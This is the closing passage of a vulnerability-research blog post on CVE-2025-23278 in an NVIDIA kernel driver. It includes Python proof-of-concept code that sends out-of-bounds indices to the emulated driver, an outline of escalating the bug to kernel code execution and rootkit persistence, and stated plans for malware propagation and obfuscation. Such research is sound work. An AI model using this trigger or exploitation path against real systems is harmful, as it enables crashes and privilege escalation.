        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="sh">'</span><span class="s">=</span><span class="sh">'</span><span class="o">*</span><span class="mi">70</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">input_buffer</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">B</span><span class="sh">'</span><span class="p">,</span> <span class="n">index</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="sh">'</span><span class="se">\x00</span><span class="sh">'</span> <span class="o">*</span> <span class="mi">31</span>
        <span class="n">irp</span><span class="p">,</span> <span class="n">buf_addr</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_ioctl_irp</span><span class="p">(</span><span class="mh">0x1234</span><span class="p">,</span> <span class="n">input_buffer</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">input_buffer</span><span class="p">))</span>
        <span class="n">dev_obj</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">create_device_object</span><span class="p">(</span><span class="mh">0x1234</span><span class="p">)</span>
        
        <span class="n">target_addr</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">function_table_base</span> <span class="o">+</span> <span class="p">(</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span>
        <span class="n">is_valid</span> <span class="o">=</span> <span class="n">index</span> <span class="o">&lt;</span> <span class="n">self</span><span class="p">.</span><span class="n">valid_table_size</span>
        
        <span class="k">if</span> <span class="n">is_valid</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">VALID index - will access: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">target_addr</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">oob_bytes</span> <span class="o">=</span> <span class="p">(</span><span class="n">index</span> <span class="o">-</span> <span class="n">self</span><span class="p">.</span><span class="n">valid_table_size</span><span class="p">)</span> <span class="o">*</span> <span class="mi">8</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">OUT-OF-BOUNDS index - will access: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">target_addr</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Beyond table by: </span><span class="si">{</span><span class="n">oob_bytes</span><span class="si">}</span><span class="s"> bytes</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="n">self</span><span class="p">.</span><span class="nf">call_dispatch_function</span><span class="p">(</span><span class="n">dev_obj</span><span class="p">,</span> <span class="n">irp</span><span class="p">,</span> <span class="n">index</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">irp</span><span class="p">,</span> <span class="n">dev_obj</span>
        
    <span class="k">def</span> <span class="nf">run_vulnerability_tests</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">driver_path</span><span class="p">):</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="se">\n</span><span class="si">{</span><span class="sh">'</span><span class="s">#</span><span class="sh">'</span><span class="o">*</span><span class="mi">70</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s"># CVE-2025-23278 Vulnerability POC</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s"># Target: </span><span class="si">{</span><span class="n">driver_path</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="sh">'</span><span class="s">#</span><span class="sh">'</span><span class="o">*</span><span class="mi">70</span><span class="si">}</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Loading NVIDIA driver...</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">driver</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">load_module</span><span class="p">(</span><span class="n">driver_path</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Driver loaded successfully</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Base address: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">driver</span><span class="p">.</span><span class="n">base</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">ispatch function at: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">dispatch_function</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to load driver: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="kn">import</span> <span class="n">traceback</span>
            <span class="n">traceback</span><span class="p">.</span><span class="nf">print_exc</span><span class="p">()</span>
            <span class="k">return</span> <span class="bp">None</span>
            
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Installing monitoring hooks...</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">setup_hooks</span><span class="p">()</span>
        
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Executing DriverEntry to initialize driver...</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="nf">run_module</span><span class="p">(</span><span class="n">driver</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">DriverEntry executed - function table should be initialized</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">DriverEntry failed (may be expected): </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="sh">"</span> <span class="o">+</span> <span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">70</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">PHASE 1: Testing VALID index (baseline)</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">70</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">test_index</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="sh">"</span><span class="s">VALID INDEX</span><span class="sh">"</span><span class="p">)</span>
            
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="sh">"</span> <span class="o">+</span> <span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">70</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">PHASE 2: Testing FIRST OUT-OF-BOUNDS index</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">70</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">test_index</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="sh">"</span><span class="s">FIRST OOB INDEX</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="sh">"</span> <span class="o">+</span> <span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">70</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">PHASE 3: Testing SIGNIFICANTLY OUT-OF-BOUNDS index</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">70</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">test_index</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="sh">"</span><span class="s">SIGNIFICANTLY OOB INDEX</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="sh">"</span> <span class="o">+</span> <span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">70</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">PHASE 4: Testing MAXIMUM OUT-OF-BOUNDS index</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">70</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="nf">test_index</span><span class="p">(</span><span class="mi">255</span><span class="p">,</span> <span class="sh">"</span><span class="s">SMOKED OOB INDEX</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="sh">"</span> <span class="o">+</span> <span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">70</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">FINAL TEST SUMMARY</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">70</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Vulnerability triggered: </span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="n">vuln_triggered</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Out-of-bounds accesses detected: </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">oob_accesses</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="n">oob_accesses</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="s">DETECTED OUT-OF-BOUNDS ACCESSES:</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">access</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="n">oob_accesses</span><span class="p">,</span> <span class="mi">1</span><span class="p">):</span>
                <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="se">\n</span><span class="s">  Access #</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">:</span><span class="sh">"</span><span class="p">)</span>
                <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">    Index: </span><span class="si">{</span><span class="n">access</span><span class="p">[</span><span class="sh">'</span><span class="s">index</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
                <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">    Address: </span><span class="si">{</span><span class="nf">hex</span><span class="p">(</span><span class="n">access</span><span class="p">[</span><span class="sh">'</span><span class="s">address</span><span class="sh">'</span><span class="p">])</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
                <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">    Beyond table: +</span><span class="si">{</span><span class="n">access</span><span class="p">[</span><span class="sh">'</span><span class="s">offset</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s"> bytes</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="s">[*] No out-of-bounds accesses detected</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="bp">None</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>

    <span class="n">driver_path</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
    
    <span class="nf">print</span><span class="p">(</span><span class="sh">"""</span><span class="s">
    ╔═══════════════════════════════════════════════════════════╗
    ║  CVE-2025-23278 Vulnerability POC                         ║
    ║  NVIDIA nvlddmkm.sys - Invalid Array Index Vulnerability  ║
    ║  ACTIVE DISPATCH FUNCTION TESTING                         ║
    ║  TFLL37                                                   ║
    ╚═══════════════════════════════════════════════════════════╝
    </span><span class="sh">"""</span><span class="p">)</span>
    
    <span class="n">tester</span> <span class="o">=</span> <span class="nc">NvidiaVulnTester</span><span class="p">()</span>
    <span class="n">tester</span><span class="p">.</span><span class="nf">run_vulnerability_tests</span><span class="p">(</span><span class="n">driver_path</span><span class="p">)</span>
    
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="s">+++++++++++++FINISHED+++++++++++++</span><span class="sh">"</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="phase-4-exploitation-impact-and-real-world-parallels">Phase 4: Exploitation, Impact, and Real-World Parallels</h2>

<p>With the vulnerability confirmed, let’s consider the impact.</p>

<h4 id="denial-of-service-bsod">Denial of Service (BSOD)</h4>

<p>This is the most straightforward outcome. By providing an index that points to an unmapped or non-executable memory page, the driver will attempt to call an invalid address. This results in an immediate kernel panic and a Blue Screen of Death (BSOD), crashing the entire system. Any local user or application could trigger this, making it a high-availability risk.</p>

<h4 id="data-tampering-and-information-disclosure">Data Tampering and Information Disclosure</h4>

<p>The vulnerability is an out-of-bounds <strong>read</strong>. This means an attacker could carefully choose an index to read 8 bytes of data from a known offset in kernel memory. This could leak kernel pointers or other sensitive data, which is a critical step in bypassing security mitigations like Kernel Address Space Layout Randomization (KASLR). While the CVE description mentions “data tampering,” this would typically require an out-of-bounds <em>write</em>. However, a controlled call could be used to invoke a function that modifies data, achieving the same effect indirectly.</p>

<h4 id="arbitrary-code-execution-ace">Arbitrary Code Execution (ACE)</h4>

<p>Achieving full code execution is the goal. The path would look like this:</p>

<ol>
  <li><strong>Memory Leak:</strong> Use the OOB read or another vulnerability to leak kernel addresses and defeat KASLR.</li>
  <li><strong>Control Memory:</strong> Find a way to write a controlled value (the address of shellcode) to a predictable location in kernel memory just beyond the function table. This often requires a second vulnerability or a technique like memory spraying.</li>
  <li><strong>Trigger the Call:</strong> Send the IOCTL with the crafted index that points to the attacker-controlled memory location.</li>
  <li><strong>Execute Shellcode:</strong> The driver reads the attacker-provided address and jumps to it, executing the shellcode with kernel (SYSTEM) privileges.</li>
</ol>

<h4 id="malware-and-worms">Malware and Worms</h4>

<p>CVE-2025-23278 is a local privilege escalation (LPE) flaw(could be), meaning the attacker already needs to have code running on the machine.</p>

<p>However, it could easily be <strong>chained</strong> with a remote code execution (RCE) vulnerability (e.g., in a browser or network service). Once a malicious program gains initial user-level access, it could use this NVIDIA driver exploit to:</p>
<ol>
  <li><strong>Escalate to SYSTEM privileges</strong> to disable security software (like EDR or antivirus).</li>
  <li><strong>Gain deep persistence</strong> by installing itself as a rootkit.</li>
  <li><strong>Cause mass disruption</strong> by simply triggering a BSOD on every infected machine.</li>
</ol>

<p>This is reminiscent of how early exploits for vulnerabilities like <strong>BlueKeep (CVE-2019-0708)</strong> often just caused a BSOD, and how modern malware uses <strong>BYOVD (Bring Your Own Vulnerable Driver)</strong> attacks to gain kernel access by abusing legitimate, signed drivers.
I kinda want to try looking more into the BYOVD concept and to try to do research sample of  <strong>BYOVI(Bring Your Own Vulnerable Installer)</strong>. I understand that bringing an 800MB installer is just funny but, after all this is just for the joke of doing the malw sample.</p>

<h2 id="conclusion-and-future-work">Conclusion and Future Work</h2>

<p>This investigation was a fascinating journey from a one-line vulnerability description to an emulated proof-of-concept. The key takeaway was the critical importance of the detection method: a simple <code class="language-plaintext highlighter-rouge">try...except</code> block is not enough to catch subtle memory corruption bugs; active monitoring with hooks is essential.</p>

<p>My next steps in this research area will be to:</p>
<ul>
  <li>Analyze <strong>CVE-2025-23276</strong> to understand the installer-level attack surface.(BIG IF)</li>
  <li>Explore similar driver architectures from other vendors like AMD.</li>
  <li>More portable and easier malware propagation(PURELY FOR RESEARCH PURPOSES!)</li>
  <li>Malware obfuscation</li>
</ul>

<p>Regarding the last point of Malware obfuscation, I have a pretty interesting idea(imo) that involves propositional logic complication. I have been spending time researching this and I am aware of the existing solutions to this idea, mine differs a bit(maybe). This is far more challenging and given the spare time I usually have alongside my university, I doubt this project will be realized any time soon.</p>

<p>BYE</p>

<p>TFLL37</p>

<p>P.S. <code class="language-plaintext highlighter-rouge">#NAHALm4Life</code></p>

<p><strong>Disclaimer: This article is provided for educational purposes only. I BEAR NO RESPONSIBLITY OR LIABILITY FOR ANY CONSEQUENCES RESULTING FROM THE USE OR MISUSE OF THE INFORMATION CONTAINED HEREIN.</strong></p>]]></content><author><name>TFLL37</name></author><category term="Vulnerability Research" /><category term="Reverse Engineering" /><category term="cve" /><category term="nvidia" /><category term="kernel-driver" /><category term="reverse-engineering" /><category term="ghidra" /><category term="speakeasy" /><category term="exploitation" /><category term="windows" /><summary type="html"><![CDATA[An In-Depth Journey into NVIDIA Kernel Driver Exploitation]]></summary></entry></feed>